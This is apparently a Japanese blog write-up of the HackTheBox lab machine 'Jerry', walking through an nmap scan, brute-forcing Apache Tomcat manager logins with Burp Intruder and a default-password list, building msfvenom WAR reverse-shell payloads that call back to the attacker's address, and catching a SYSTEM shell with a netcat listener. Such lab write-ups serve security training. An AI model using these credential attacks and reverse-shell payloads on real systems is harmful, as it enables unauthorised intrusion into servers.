🙆

【HackTheBox】Jerry WriteUp

2023/02/14に公開

はじめに

今回はWindows Machineのjerryをやっていきます。難易度は易しいです。
https://app.hackthebox.com/machines/144

Enumeration

Nmap scan

nmap -sC -sV -Pn jerry.htb
Starting Nmap 7.93 ( https://nmap.org ) at 2023-02-13 01:15 EST
Nmap scan report for jerry.htb (10.129.210.31)
Host is up (0.18s latency).
Not shown: 999 filtered tcp ports (no-response)
PORT     STATE SERVICE VERSION
8080/tcp open  http    Apache Tomcat/Coyote JSP engine 1.1
|_http-title: Apache Tomcat/7.0.88
|_http-server-header: Apache-Coyote/1.1
|_http-favicon: Apache Tomcat

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 28.41 seconds

http - TCP port 8080

http://jerry.htbにアクセスをしても何も出てこないので、http://jerry.htb:8080にアクセスします。

apache tomcat 7.0.88であることがわかります。

ログイン

Manager Appをクリックするとベーシック認証ログインプロンプトがでてきます。
特に気になった情報はこれまで出てこなかったので、とりあえずデフォルトパスワードを試します。
https://github.com/netbiosX/Default-Credentials/blob/master/Apache-Tomcat-Default-Passwords.mdown

burp suite

burp suiteを使ってまずはリクエストをinterceptします。ユーザー名とパスワードにはadmin,adminを使っています。

GET /manager/html HTTP/1.1
Host: jerry.htb:8080
Cache-Control: max-age=0
Authorization: Basic YWRtaW46YWRtaW4=
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.5304.107 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close

YWRtaW46YWRtaW4= はbase64で、デコードするとadmin:adminとなります。

Intruderペイロード

Intruderを使ってパスワードをブルートフォースっで探します。

デフォルトパスワード一覧からユーザ名とパスワードを抜き出します。
Username

admin
both
manager
role1
root
tomcat

Password

password
password1
Password1
admin
tomcat
role1
manager
changethis
root
r00t
toor
s3cret

burp suite brute force

位置を選択

パスワードの位置を選択します。

ペイロードの選択

カスタムできるようにします。

ペイロード設定

まずはユーザ名を、コロンで分けます。

二つ目にパスワードを追記します。

ペイロード処理

base64に変換します。

攻撃

dG9tY2F0OnMzY3JldA==が成功したので、デコードします。tomcat:s3cretがユーザ名とパスワードです。

ログイン後


WAR fileをアップロードすることができそうです。

Footfold

リバースシェルの作成

msfvenomというペイロード作成ツールでペイロードを作成します。

Javaペイロード探索

javaのペイロード一覧を探します。

msfvenom -l payloads | grep java
    java/jsp_shell_bind_tcp                                            Listen for a connection and spawn a command shell
    java/jsp_shell_reverse_tcp                                         Connect back to attacker and spawn a command shell
    java/meterpreter/bind_tcp                                          Run a meterpreter server in Java. Listen for a connection
    java/meterpreter/reverse_http                                      Run a meterpreter server in Java. Tunnel communication over HTTP
    java/meterpreter/reverse_https                                     Run a meterpreter server in Java. Tunnel communication over HTTPS
    java/meterpreter/reverse_tcp                                       Run a meterpreter server in Java. Connect back stager
    java/shell/bind_tcp                                                Spawn a piped command shell (cmd.exe on Windows, /bin/sh everywhere else). Listen for a connection
    java/shell/reverse_tcp                                             Spawn a piped command shell (cmd.exe on Windows, /bin/sh everywhere else). Connect back stager
    java/shell_reverse_tcp                                             Connect back to attacker and spawn a command shell

二つほどよさそうなものがありました。

Payload 1

java/jsp_shell_reverse_tcp

msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.2 LPORT=4444 -f war > revshell.war

Payload 2

java/meterpreter/reverse_tcp

sfvenom -p java/meterpreter/reverse_tcp LHOST=10.10.14.2 LPORT=4444 -f war > revshell2.war

今回はpayload1を使います。revshell.warができるのでそれをアップロードします。

シェルの取得

  • nc -lnvp 4444 でリッスンします
  • /revshellをクリックするとシェルが奪えます。
C:\apache-tomcat-7.0.88>whoami
whoami
nt authority\system

フラグ奪還

C:\Users\Administrator\Desktop\flags>type "2 for the price of 1.txt"
type "2 for the price of 1.txt"
user.txt


root.txt

テスト (Trying Payload 2)

Payload2も使ってみましたが、シェルは取れたもののうまくいきませんでした。

nc -lnvp 4444
listening on [any] 4444 ...
connect to [10.10.14.2] from (UNKNOWN) [10.129.108.101] 49196
whoami
java.lang.OutOfMemoryError: Java heap space       

Discussion